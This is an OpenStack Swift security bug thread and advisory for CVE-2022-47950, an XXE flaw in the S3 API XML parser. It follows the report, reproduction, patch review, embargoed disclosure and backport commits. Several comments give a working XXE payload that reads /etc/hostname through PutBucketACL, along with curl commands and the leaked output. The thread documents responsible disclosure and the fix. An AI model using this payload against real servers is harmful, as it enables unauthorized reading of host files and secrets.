[OSSA-2023-001] Arbitrary file access through custom S3 XML entities (CVE-2022-47950)

[Jeremy Stanley]

The vulnerability managers received the following report from Sébastien Meriot with OVH via encrypted E-mail:

Few weeks ago, our team managing the Swift clusters discovered a vulnerability affecting the S3 API allowing a remote authenticated adversary
to read arbitrary files on the host filesystem by exploiting an improper use of XMLParser.

We evaluate the CVSS score to 7.7:
https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

The issue is located in the file: swift/common/middleware/s3api/etree.py
The way the XMLParser is used allows to resolve entities and then to read file content by adding entities in the uploaded XML.
Here is a quick reproducer using both 'PutBucketACL' and 'DeleteObjects':

```
$ cat xxe
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<AccessControlPolicy xmlns="http://s3.amazonaws.com/doc/2006-03-01/">;
<Owner>
    <DisplayName>demo:demo</DisplayName>
    <ID>demo:demo</ID>
</Owner>
<AccessControlList>
    <Grant>
        <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser">
            <DisplayName>&xxe;</DisplayName>
            <ID>&xxe;</ID>
        </Grantee>
        <Permission>WRITE</Permission>
    </Grant>
</AccessControlList>
</AccessControlPolicy>
$ aws s3api get-bucket-acl --bucket mybucket
{
    "Owner": {
        "DisplayName": "demo:demo",
        "ID": "demo:demo"
    },
    "Grants": [
        {
            "Grantee": {
                "DisplayName": "demo:demo",
                "ID": "demo:demo",
                "Type": "CanonicalUser"
            },
            "Permission": "FULL_CONTROL"
        }
    ]
}
$ curl -i -XPUT "http://mybucket.localhost:5000/?acl=&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=demo%3Ademo%2F20221025%2FRegionOne%2Fs3%2Faws4_request&X-Amz-Date=20221025T151109Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=16b7dd1a10bd87a5e3d3c872714c17898ff13e10ba3c5a5c4f99a2d89e0daf8e" --upload-file xxe
HTTP/1.1 100 Continue

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
x-amz-id-2: tx792d8913a4614fc9ae136-006357ff39
x-amz-request-id: tx792d8913a4614fc9ae136-006357ff39
Content-Length: 0
X-Trans-Id: tx792d8913a4614fc9ae136-006357ff39
X-Openstack-Request-Id: tx792d8913a4614fc9ae136-006357ff39
Date: Tue, 25 Oct 2022 15:22:33 GMT
$ aws s3api get-bucket-acl --bucket mybucket
{
    "Owner": {
        "DisplayName": "demo:demo",
        "ID": "demo:demo"
    },
    "Grants": [
        {
            "Grantee": {
                "DisplayName": "laptop1264470\n",
                "ID": "laptop1264470\n",
                "Type": "CanonicalUser"
            },
            "Permission": "WRITE"
        }
    ]
}
```

As you can see, in the DisplayName and the ID field, the content of the hostname file is returned.
The same thing happens with the DeleteObjects endpoint.

We applied a quick patch to fix this issue like follow :

```
diff --git a/swift/common/middleware/s3api/etree.py b/swift/common/middleware/s3api/etree.py
index 987b84a14..e5f824bc9 100644
--- a/swift/common/middleware/s3api/etree.py
+++ b/swift/common/middleware/s3api/etree.py
@@ -130,7 +130,7 @@ class _Element(lxml.etree.ElementBase):

 parser_lookup = lxml.etree.ElementDefaultClassLookup(element=_Element)
-parser = lxml.etree.XMLParser()
+parser = lxml.etree.XMLParser(resolve_entities=False, no_network=True)
 parser.set_element_class_lookup(parser_lookup)

 Element = parser.makeelement
```

[Jeremy Stanley (fungi)]

Since this report concerns a possible security risk, an incomplete
security advisory task has been added while the core security
reviewers for the affected project or projects confirm the bug and
discuss the scope of any vulnerability along with potential
solutions.

[Tim Burke (1-tim-z)]

Can confirm -- seems like a nasty one! Working on getting a test together, but that fix looks appropriate. Hope to have a patch to offer here later tonight, or my Monday at the latest.

[Aymeric Ducroquetz (aymericdu)]

If it helps, we've already worked on the fix and the tests.
But we also thought about a way to detect this kind of attack.
Here is the commit attached.

Edited:
I forgot to add Romain De Joux as co-author of this patch. If you use this patch, is it possible to add him? Thanks
Co-Authored-By: Romain de Joux <email address hidden>

[Tim Burke (1-tim-z)]

Patch makes sense -- I have a few notes, and a fresh patch:

- The added functional tests assume they are running on the proxy under test -- would it be better to probe for /etc/swift/swift.conf than some temp file?

- Is it expected that 3 of 5 added tests pass without the fix? I think I understand the server-side validation we have that prevent the XXE vulnerability on those APIs, but want to make sure this was intended.

- The added logging may get noisy -- as a general rule, I tend to worry about adding server warnings for bad client behavior. Emitting a new counter metric might be better? I'm content to leave it, though; it's no worse than our client-disconnect behavior.

[clayg (clay-gerrard)]

it looks like `resolve_entities=False, no_network=True` is the real fix ... aside from the test, the rest of the diff is just plumbing for the logger

... which seems questionable to me because the logged warning sounds scary but isn't actually and there's nothing ops can do about it.

Let's drop the logging and land the fix so we can life the security embargo - then we can figure out what to do about the logger plumbing.

[Tim Burke (1-tim-z)]

I think I like splitting it up; first patch to have the fix and tests, second to add logging. Then we can debate the logging separately and (potentially) with more input from others. Clay lost the func tests, though; this patch retains them but drops the logging.

[Tim Burke (1-tim-z)]

(And the logging plumbing; can submit as a chain.)

[clayg (clay-gerrard)]

keeping all the testing is fine with me - removing the logging will potentially make the fix easier to backport too. +2

[Romain de Joux (rdejoux)]

+1 about the splitted patch. Thanks for review

[Matthew Oliver (matt-0)]

OK I've had a play with the patch. Looks good. I've gone and spit them up into 2 that we can push up one after the other into gerrit. The first is just the fix and tests, as suggested by Clay and the other is the logging stuff.

Persionally I don't mind the logging stuff too much as I can understand it might be nice to know how often these entitities are in requests.. but as the others suggest a warning tells the ops what, there is nothing they can really do about it.
Anycase, holding up a security bug with this seems silly, so if we split them in 2 like this we can land the fix, and discuss the logging and also get that landed a short time afterwards.

So aside from just splitting the patch provided by Tim (as it had the functional test), I've also gone and fixed up pep issues in the first patch that'll probably cause issues in zuul when we do push it.
Having said that, there are some format strings in the patch that will apply fine to py3, but if we plan to backport this into py2 releases then we may need to either modify the patch to be py2/3 compliant _or_ just adjust the backported patch accordingly. it's only in the functional test.

I have kept the ownership of both patches the same as the original patch.. but if you don't like my fiddling with your code, Feel free to adjust accordingly.

[Matthew Oliver (matt-0)]

And the second patch.. shame you can't add more then 1 in a comment.

[Aymeric Ducroquetz (aymericdu)]

Thanks for the comments and improvements.

Indeed, some tests pass without the patch. I did a test for all requests that expect XML, to make sure there is no regression.

I totally agree to split the patch into 2, the log message is much less of a priority (+1 on both patches).

[Tim Burke (1-tim-z)]

Good call on the py2 fixups, Matt, thanks! There was one more f-string in test_complete_multipart_upload I've fixed up.

Getting an unexpected 500 in test_put_bucket_acl -- server logs have

Dec 13 17:13:05 saio proxy-server: __str__ returned non-string (type NoneType):
Traceback (most recent call last):
  File "/vagrant/swift/swift/common/middleware/s3api/s3api.py", line 345, in __call__
    resp = self.handle_request(req)
  File "/vagrant/swift/swift/common/middleware/s3api/s3api.py", line 383, in handle_request
    res = handler(req)
  File "/vagrant/swift/swift/common/middleware/s3api/controllers/s3_acl.py", line 65, in PUT
    req.get_response(self.app, 'POST')
  File "/vagrant/swift/swift/common/middleware/s3api/s3request.py", line 1615, in get_response
    resp = self.acl_handler.handle_acl(
  File "/vagrant/swift/swift/common/middleware/s3api/acl_handlers.py", line 94, in handle_acl
    return getattr(ah, method)(app)
  File "/vagrant/swift/swift/common/middleware/s3api/acl_handlers.py", line 291, in POST
    'Grant %s %s permission on the bucket /%s' %
TypeError: __str__ returned non-string (type NoneType) (txn: txa58de4ecc14e45f7ac5a0-006398b2a1) (client_ip: 192.168.8.1)

I think I see the problem, but I'll just update the test to avoid it for now and write up a separate bug.

[Tim Burke (1-tim-z)]

Matt and/or Clay, want to spot-check the new patch?

Jeremy, am I right to think that you will be the VMT coordinator for this? Do you need any help with the impact description?

It's probably worth noting that this impacts all Swift deployments with an S3-compatibility layer, whether that's provided by s3api (for Swift 2.18.0+; i.e. Rocky and later) or swift3 (for Queens and earlier, but for which development has stopped).

Mitigations are to either patch the software (it boils down to the one-line change identified in the initial report) or disable S3-compatibility.

[Jeremy Stanley (fungi)]

Yes, I'll serve as the vulnerability coordinator for the CVE request, advance downstream stakeholder notification, advisory publication and so on. Assuming folks are good with the proposed change to master we'll also want clean backports to the current state of at least the stable/zed, stable/yoga and stable/xena branches (though feel free to create patches for older branches too if you like). Ideally attach the results of a git-formatted patch as described here: https://security.openstack.org/#how-to-propose-and-review-a-security-patch

In order to request a CVE assignment from MITRE, I'll need a succinct description of the flaw and resulting risks (which we'll also include for context in subsequent communications). Here's an attempt, but please let me know if I got anything wrong...

Title: Arbitrary file access through custom S3 XML entities
Reporter: Sébastien Meriot (OVH)
Products: Swift
Affects: <2.28.1, >=2.29.0 <2.29.2, ==2.30.0

Description:
Sébastien Meriot (OVH) reported a vulnerability in Swift's S3 XML parser.
By supplying specially crafted XML files an authenticated user may coerce the S3 API into returning arbitrary file contents from the host server resulting in unauthorized read access to potentially sensitive data; this impacts both s3api deployments (Rocky or later), and swift3 deployments (Queens and earlier, no longer actively developed).
Only deployments with S3 compatibility enabled are affected.

[Alistair Coles (alistair-coles)]

NOTE: in the original bug description there is a trailing ';' at the end of the <AccessControlPolicy> element that I didn't spot for a while and it cause malformed xml errors.

Confirmed on my vsaio:

```
vagrant@vagrant:~$ curl 'http://saio3:8080/my-bucket?acl=' -X PUT -H "Host: saio3:8080" -H "Content-Type: application/x-www-form-urlencoded; charset=utf-8" -H "X-Amz-Content-Sha256: cfef77034aa96b13190894b26347367d4e95bc3aa2212f467eaae66c75250510" -H "X-Amz-Date: 20221220T193239Z" -H "Authorization: AWS4-HMAC-SHA256 Credential=test:tester/20221220/us-east-1/s3/aws4_request, SignedHeaders=content-length;content-type;host;x-amz-content-sha256;x-amz-date, Signature=660efe254e6d3210293e778718b5391ca831e2c814c8ec1ebb9300d004430d78" --data-binary '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<AccessControlPolicy xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Owner>
    <DisplayName>test:tester</DisplayName>
    <ID>test:tester</ID>
</Owner>
<AccessControlList>
    <Grant>
        <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser">
            <DisplayName>&xxe;</DisplayName>
            <ID>&xxe;</ID>
        </Grantee>
        <Permission>WRITE</Permission>
    </Grant>
</AccessControlList>
</AccessControlPolicy>'
vagrant@vagrant:~$ aws s3api get-bucket-acl --bucket my-bucket
{
    "Owner": {
        "DisplayName": "test:tester",
        "ID": "test:tester"
    },
    "Grants": [
        {
            "Grantee": {
                "DisplayName": "vagrant\n",
                "ID": "vagrant\n",
                "Type": "CanonicalUser"
            },
            "Permission": "WRITE"
        }
    ]
}
```

[Alistair Coles (alistair-coles)]

The fix attached to https://bugs.launchpad.net/swift/+bug/1998625/comments/13 seems to prevent the bad request being accepted but I get an InternalServer error:

```
vagrant@vagrant:~$ curl 'http://saio3:8080/my-bucket?acl=' -X PUT -H "Host: saio3:8080" -H "Content-Type: application/x-www-form-urlencoded; charset=utf-8" -H "X-Amz-Content-Sha256: cfef77034aa96b13190894b26347367d4e95bc3aa2212f467eaae66c75250510" -H "X-Amz-Date: 20221220T193239Z" -H "Authorization: AWS4-HMAC-SHA256 Credential=test:tester/20221220/us-east-1/s3/aws4_request, SignedHeaders=content-length;content-type;host;x-amz-content-sha256;x-amz-date, Signature=660efe254e6d3210293e778718b5391ca831e2c814c8ec1ebb9300d004430d78" --data-binary '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<AccessControlPolicy xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Owner>
    <DisplayName>test:tester</DisplayName>
    <ID>test:tester</ID>
</Owner>
<AccessControlList>
    <Grant>
        <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser">
            <DisplayName>&xxe;</DisplayName>
            <ID>&xxe;</ID>
        </Grantee>
        <Permission>WRITE</Permission>
    </Grant>
</AccessControlList>
</AccessControlPolicy>'
<?xml version='1.0' encoding='UTF-8'?>
<Error><Code>InternalError</Code><Message>We encountered an internal error. Please try again.</Message><RequestId>tx9ad37d73d7c542c7b8ca0-0063a20f21</RequestId><Reason>__str__ returned non-string (type NoneType)</Reason></Error>
```

I fixed that with this change (but I am new to this code so not sure this is sufficient or appropriate):

```
diff --git a/swift/common/middleware/s3api/subresource.py b/swift/common/middleware/s3api/subresource.py
index 1aa47b4b2..cb7f2c7b5 100644
--- a/swift/common/middleware/s3api/subresource.py
+++ b/swift/common/middleware/s3api/subresource.py
@@ -167,6 +167,8 @@ class Grantee(object):
         type = elem.get('{%s}type' % XMLNS_XSI)
         if type == 'CanonicalUser':
             value = elem.find('./ID').text
+ if not value:
+ raise MalformedACLError()
             return User(value)
         elif type == 'Group':
             value = elem.find('./URI').text
```

resulting in:

```
vagrant@vagrant:~$ curl 'http://saio3:8080/my-bucket?acl=' -X PUT -H "Host: saio3:8080" -H "Content-Type: application/x-www-form-urlencoded; charset=utf-8" -H "X-Amz-Content-Sha256: cfef77034aa96b13190894b26347367d4e95bc3aa2212f467eaae66c75250510" -H "X-Amz-Date: 20221220T193239Z" -H "Authorization: AWS4-HMAC-SHA256 Credential=test:tester/20221220/us-east-1/s3/aws4_request, SignedHeaders=content-length;content-type;host;x-amz-content-sha256;x-amz-date, Signature=660efe254e6d3210293e778718b5391ca831e2c814c8ec1ebb9300d004430d78" --data-binary '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<AccessControlPolicy xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Owner>
    <DisplayName>test:tester</DisplayName>
    <ID>test:tester</ID>
</Owner>
<AccessControlList>
    <Grant>
        <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser">
            <DisplayName>&xxe;</DisplayName>
            <I...

[Alistair Coles (alistair-coles)]

OK, I caught up with email and see Tim is already onto the 500 in https://bugs.launchpad.net/bugs/1999564

[Tim Burke (1-tim-z)]

Jeremy,

Description looks good, thanks.

[Aymeric Ducroquetz (aymericdu)]

Do you already have any idea when information about this flaw will be made public?
As soon as the information is made public, we want to inform our customers as soon as possible.

[Jeremy Stanley (fungi)]

I'll file a private CVE request with MITRE now that we've got
agreement on the impact description. Once we have clean backports,
we'll pick a publication date and I'll supply advance copies of the
patches to OVH and other downstream stakeholders by E-mail under a
temporary embargo. We require a minimum of 3 business days between
advance notification and publication, though attempt to make it no
more than 5 business days. We generally schedule publication for
15:00 UTC on a Tuesday, Wednesday, or Thursday, and avoid publishing
on major holidays.

Given the above, I think we should probably expect to send advance
notification on Tuesday, January 3 (assuming we have the backported
patches and CVE assignments by then), with publication at 15:00 UTC
on Tuesday, January 10.

For reference, our vulnerability management process and timeline is
documented here:
https://security.openstack.org/vmt-process.html#embargoed-disclosure

[Jeremy Stanley (fungi)]

MITRE has assigned CVE-2022-47950 for tracking this vulnerability.

[Tim Burke (1-tim-z)]

Updated the patch to include a reference to the now-assigned CVE.

The one patch applies cleanly to stable/wallaby and later. For earlier branches, it should be fairly easy to cherry-pick; it's simple context differences for stable/train through stable/victoria, and a minor unit test conflict for stable/rocky and stable/stein.

Recently checked on the stable gates, too -- we should be able to merge patches at least as far back as stein without too much difficulty.

Matt, Alistair, Clay, can I get some reviews on the newest patch?

Jeremy, have we sent the advance notice already, or are we waiting on reviews? FWIW, the only feedback I expect would be with regard to testing -- the crux of the issue is the one line change in swift/common/middleware/s3api/etree.py

[Jeremy Stanley (fungi)]

Sending advance notification to downstream stakeholders can't happen
until we have consensus on the fix(es), individual patches for each
stable branch at least as far back as stable/xena, and agree on a
publication date and time.

It sounds like there is likely consensus on the current state of
your patch, and since you indicate you expect to directly push the
same patch to multiple branches I suppose can just include copies of
the same patch named for each branch in order to avoid confusion.
Assuming this is all accurate, I can send the advance notification
to downstream stakeholders on Tuesday, January 10, with a planned
advisory publication at 15:00 UTC on Tuesday, January 17 (our
maximum of 5 business days, in order to give deployers and
distribution package maintainers ample time to prepare updated
packages).

Does this plan sound reasonable to everyone? If there are no
objections by Tuesday, January 10, I'll proceed under the assumption
that it's fine. Thanks!

[Tim Burke (1-tim-z)]

Notification tomorrow sounds good to me; I'll see if I can goad other cores to leave a review today, but I've certainly not heard any objections to the patch as it stands.

[Matthew Oliver (matt-0)]

I've run py2 and 3 unit tests, pep8 and given it another look and all looks great to me!

[Jeremy Stanley (fungi)]

Advance disclosure to the private mailing lists mentioned in our vulnerability management process document[*] is complete. There was some delay while we worked through a problem with the mailing list server.

[*] https://security.openstack.org/vmt-process.html#downstream-stakeholders-notification-email-private-issues

[Alistair Coles (alistair-coles)]

Checked new version of patch attached here https://bugs.launchpad.net/swift/+bug/1998625/comments/23, looks ok.

Before patch:
```
vagrant@vagrant:~/swift$ swift-init restart proxy
Signal proxy-server pid: 223087 signal: Signals.SIGTERM
Signal proxy-server pid: 223088 signal: Signals.SIGTERM
proxy-server (223088) appears to have stopped
proxy-server (223087) appears to have stopped
WARNING: Unable to modify max process limit. Running as non-root?
Starting proxy-server...(/etc/swift/proxy-server/proxy-noauth.conf.d)
Starting proxy-server...(/etc/swift/proxy-server/proxy-server.conf.d)

vagrant@vagrant:~/swift$ curl 'http://saio3:8080/my-bucket?acl=' -X PUT -H "Host: saio3:8080" -H "Content-Type: application/x-www-form-urlencoded; charset=utf-8" -H "X-Amz-Content-Sha256: 4fd507f2889d8d42ee3e03fb20860748c0e5921dc345676d85fae0cc5891dfdf" -H "X-Amz-Date: 20230113T123756Z" -H "Authorization: AWS4-HMAC-SHA256 Credential=test:tester/20230113/us-east-1/s3/aws4_request, SignedHeaders=content-length;content-type;host;x-amz-content-sha256;x-amz-date, Signature=054202b4db5e2d6e047f7abc6964555bb36538a265399bfdcff13bbe32c1e95b" --data-binary '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<AccessControlPolicy xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Owner>
    <DisplayName>test:tester</DisplayName>
    <ID>test:tester</ID>
</Owner>
<AccessControlList>
    <Grant>
        <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser">
            <DisplayName>foo &xxe;</DisplayName>
            <ID>foo &xxe;</ID>
        </Grantee>
        <Permission>WRITE</Permission>
    </Grant>
</AccessControlList>
</AccessControlPolicy>'

vagrant@vagrant:~/swift$ aws s3api get-bucket-acl --bucket my-bucket
{
    "Owner": {
        "DisplayName": "test:tester",
        "ID": "test:tester"
    },
    "Grants": [
        {
            "Grantee": {
                "DisplayName": "foo vagrant\n",
                "ID": "foo vagrant\n",
                "Type": "CanonicalUser"
            },
            "Permission": "WRITE"
        }
    ]
}
```

After patch:
```
vagrant@vagrant:~/swift$ swift-init restart proxy
Signal proxy-server pid: 223110 signal: Signals.SIGTERM
Signal proxy-server pid: 223111 signal: Signals.SIGTERM
proxy-server (223110) appears to have stopped
proxy-server (223111) appears to have stopped
WARNING: Unable to modify max process limit. Running as non-root?
Starting proxy-server...(/etc/swift/proxy-server/proxy-noauth.conf.d)
Starting proxy-server...(/etc/swift/proxy-server/proxy-server.conf.d)

vagrant@vagrant:~/swift$ curl 'http://saio3:8080/my-bucket?acl=' -X PUT -H "Host: saio3:8080" -H "Content-Type: application/x-www-form-urlencoded; charset=utf-8" -H "X-Amz-Content-Sha256: 4fd507f2889d8d42ee3e03fb20860748c0e5921dc345676d85fae0cc5891dfdf" -H "X-Amz-Date: 20230113T123756Z" -H "Authorization: AWS4-HMAC-SHA256 Credential=test:tester/20230113/us-east-1/s3/aws4_request, SignedHeaders=content-length;content-type;host;x-amz-content-sha256;x-amz-date, Signature=054202b4db5e2d6e047f7abc6964555bb36538a265399bfdcff13bbe32c1e95b" --data-binary '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname"> ]...

[Jeremy Stanley (fungi)]

As scheduled, I'm planning to switch this bug's type to Public Security at 15:00 UTC (approximately an hour from now), at which point someone (ideally Tim) needs to push the patch to at least the master, stable/zed, stable/yoga, and stable/xena branches. Once that happens, so that we have the review URLs for them, I'll push the corresponding advisory text to the openstack/ossa repository and send a copy to the relevant mailing lists.

[Jeremy Stanley (fungi)]

On closer look at the patch, it was originally authored by Aymeric and subsequently revised by Tim, Clay and Matthew so it would make sense for any of the above to push it to the indicated branches at 15:00 UTC once this bug is switched to public. If none of you are available for that time, I'm happy to do it instead of course.

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/ossa/+/870822

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/swift/+/870823

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/zed
Review: https://review.opendev.org/c/openstack/swift/+/870825

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/yoga
Review: https://review.opendev.org/c/openstack/swift/+/870826

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/xena
Review: https://review.opendev.org/c/openstack/swift/+/870827

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/wallaby
Review: https://review.opendev.org/c/openstack/swift/+/870828

[Jeremy Stanley (fungi)]

I pushed an additional cherry-pick to stable/wallaby since we asserted in the pre-OSSA that the patch applies cleanly there. Also, as Tim noted in comment #23, "For earlier branches, it should be fairly easy to cherry-pick; it's simple context differences for stable/train through stable/victoria, and a minor unit test conflict for stable/rocky and stable/stein."

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/ossa/+/870822
Committed: https://opendev.org/openstack/ossa/commit/0b14e1f02df3a0fe3756db5d24c057c8dc4a7b4b
Submitter: "Zuul (22348)"
Branch: master

commit 0b14e1f02df3a0fe3756db5d24c057c8dc4a7b4b
Author: Jeremy Stanley <email address hidden>
Date: Tue Jan 17 14:53:48 2023 +0000

    Add OSSA-2023-001 (CVE-2022-47950)

    Change-Id: I07a10908a8d1ce314413f601c8f282cca0451cc1
    Closes-Bug: #1998625

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/swift/+/870823
Committed: https://opendev.org/openstack/swift/commit/b8467e190f6fc67fd8fb6a8c5e32b2aa6a10fd8e
Submitter: "Zuul (22348)"
Branch: master

commit b8467e190f6fc67fd8fb6a8c5e32b2aa6a10fd8e
Author: Aymeric Ducroquetz <email address hidden>
Date: Tue Oct 25 22:07:53 2022 +0200

    s3api: Prevent XXE injections

    Previously, clients could use XML external entities (XXEs) to read
    arbitrary files from proxy-servers and inject the content into the
    request. Since many S3 APIs reflect request content back to the user,
    this could be used to extract any secrets that the swift user could
    read, such as tempauth credentials, keymaster secrets, etc.

    Now, disable entity resolution -- any unknown entities will be replaced
    with an empty string. Without resolving the entities, the request is
    still processed.

    [CVE-2022-47950]

    Closes-Bug: #1998625
    Co-Authored-By: Romain de Joux <email address hidden>
    Change-Id: I84494123cfc85e234098c554ecd3e77981f8a096

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/swift/+/870825
Committed: https://opendev.org/openstack/swift/commit/8dd96470a859dc7b189404fb67bd3899ae9c617f
Submitter: "Zuul (22348)"
Branch: stable/zed

commit 8dd96470a859dc7b189404fb67bd3899ae9c617f
Author: Aymeric Ducroquetz <email address hidden>
Date: Tue Oct 25 22:07:53 2022 +0200

    s3api: Prevent XXE injections

    Previously, clients could use XML external entities (XXEs) to read
    arbitrary files from proxy-servers and inject the content into the
    request. Since many S3 APIs reflect request content back to the user,
    this could be used to extract any secrets that the swift user could
    read, such as tempauth credentials, keymaster secrets, etc.

    Now, disable entity resolution -- any unknown entities will be replaced
    with an empty string. Without resolving the entities, the request is
    still processed.

    [CVE-2022-47950]

    Closes-Bug: #1998625
    Co-Authored-By: Romain de Joux <email address hidden>
    Change-Id: I84494123cfc85e234098c554ecd3e77981f8a096
    (cherry picked from commit b8467e190f6fc67fd8fb6a8c5e32b2aa6a10fd8e)

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/victoria
Review: https://review.opendev.org/c/openstack/swift/+/871242

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/ussuri
Review: https://review.opendev.org/c/openstack/swift/+/871243

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/swift/+/870826
Committed: https://opendev.org/openstack/swift/commit/d8d04ef43c90079d436b2e49617b4425ba39c28e
Submitter: "Zuul (22348)"
Branch: stable/yoga

commit d8d04ef43c90079d436b2e49617b4425ba39c28e
Author: Aymeric Ducroquetz <email address hidden>
Date: Tue Oct 25 22:07:53 2022 +0200

    s3api: Prevent XXE injections

    Previously, clients could use XML external entities (XXEs) to read
    arbitrary files from proxy-servers and inject the content into the
    request. Since many S3 APIs reflect request content back to the user,
    this could be used to extract any secrets that the swift user could
    read, such as tempauth credentials, keymaster secrets, etc.

    Now, disable entity resolution -- any unknown entities will be replaced
    with an empty string. Without resolving the entities, the request is
    still processed.

    [CVE-2022-47950]

    Closes-Bug: #1998625
    Co-Authored-By: Romain de Joux <email address hidden>
    Change-Id: I84494123cfc85e234098c554ecd3e77981f8a096
    (cherry picked from commit b8467e190f6fc67fd8fb6a8c5e32b2aa6a10fd8e)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/swift/+/870827
Committed: https://opendev.org/openstack/swift/commit/7d13d1a82e1f5d01205a13184907501b4fcbe2b0
Submitter: "Zuul (22348)"
Branch: stable/xena

commit 7d13d1a82e1f5d01205a13184907501b4fcbe2b0
Author: Aymeric Ducroquetz <email address hidden>
Date: Tue Oct 25 22:07:53 2022 +0200

    s3api: Prevent XXE injections

    Previously, clients could use XML external entities (XXEs) to read
    arbitrary files from proxy-servers and inject the content into the
    request. Since many S3 APIs reflect request content back to the user,
    this could be used to extract any secrets that the swift user could
    read, such as tempauth credentials, keymaster secrets, etc.

    Now, disable entity resolution -- any unknown entities will be replaced
    with an empty string. Without resolving the entities, the request is
    still processed.

    [CVE-2022-47950]

    Closes-Bug: #1998625
    Co-Authored-By: Romain de Joux <email address hidden>
    Change-Id: I84494123cfc85e234098c554ecd3e77981f8a096
    (cherry picked from commit b8467e190f6fc67fd8fb6a8c5e32b2aa6a10fd8e)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/swift/+/870828
Committed: https://opendev.org/openstack/swift/commit/ead53ba0c89ee9721981fcfc3784b335b4aef0ad
Submitter: "Zuul (22348)"
Branch: stable/wallaby

commit ead53ba0c89ee9721981fcfc3784b335b4aef0ad
Author: Aymeric Ducroquetz <email address hidden>
Date: Tue Oct 25 22:07:53 2022 +0200

    s3api: Prevent XXE injections

    Previously, clients could use XML external entities (XXEs) to read
    arbitrary files from proxy-servers and inject the content into the
    request. Since many S3 APIs reflect request content back to the user,
    this could be used to extract any secrets that the swift user could
    read, such as tempauth credentials, keymaster secrets, etc.

    Now, disable entity resolution -- any unknown entities will be replaced
    with an empty string. Without resolving the entities, the request is
    still processed.

    [CVE-2022-47950]

    Closes-Bug: #1998625
    Co-Authored-By: Romain de Joux <email address hidden>
    Change-Id: I84494123cfc85e234098c554ecd3e77981f8a096
    (cherry picked from commit b8467e190f6fc67fd8fb6a8c5e32b2aa6a10fd8e)

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/train
Review: https://review.opendev.org/c/openstack/swift/+/871244

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/swift/+/871242
Committed: https://opendev.org/openstack/swift/commit/c834e7a53d5a33a3fd13ffd954e6f4f4ee953dfc
Submitter: "Zuul (22348)"
Branch: stable/victoria

commit c834e7a53d5a33a3fd13ffd954e6f4f4ee953dfc
Author: Aymeric Ducroquetz <email address hidden>
Date: Tue Oct 25 22:07:53 2022 +0200

    s3api: Prevent XXE injections

    Previously, clients could use XML external entities (XXEs) to read
    arbitrary files from proxy-servers and inject the content into the
    request. Since many S3 APIs reflect request content back to the user,
    this could be used to extract any secrets that the swift user could
    read, such as tempauth credentials, keymaster secrets, etc.

    Now, disable entity resolution -- any unknown entities will be replaced
    with an empty string. Without resolving the entities, the request is
    still processed.

    [CVE-2022-47950]

    Closes-Bug: #1998625
    Co-Authored-By: Romain de Joux <email address hidden>
    Change-Id: I84494123cfc85e234098c554ecd3e77981f8a096
    (cherry picked from commit b8467e190f6fc67fd8fb6a8c5e32b2aa6a10fd8e)

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/stein
Review: https://review.opendev.org/c/openstack/swift/+/871501

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/rocky
Review: https://review.opendev.org/c/openstack/swift/+/871502

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/swift/+/871243
Committed: https://opendev.org/openstack/swift/commit/baa98848451b5c234443a068691e12841a5a8383
Submitter: "Zuul (22348)"
Branch: stable/ussuri

commit baa98848451b5c234443a068691e12841a5a8383
Author: Aymeric Ducroquetz <email address hidden>
Date: Tue Oct 25 22:07:53 2022 +0200

    s3api: Prevent XXE injections

    Previously, clients could use XML external entities (XXEs) to read
    arbitrary files from proxy-servers and inject the content into the
    request. Since many S3 APIs reflect request content back to the user,
    this could be used to extract any secrets that the swift user could
    read, such as tempauth credentials, keymaster secrets, etc.

    Now, disable entity resolution -- any unknown entities will be replaced
    with an empty string. Without resolving the entities, the request is
    still processed.

    [CVE-2022-47950]

    Closes-Bug: #1998625
    Co-Authored-By: Romain de Joux <email address hidden>
    Change-Id: I84494123cfc85e234098c554ecd3e77981f8a096
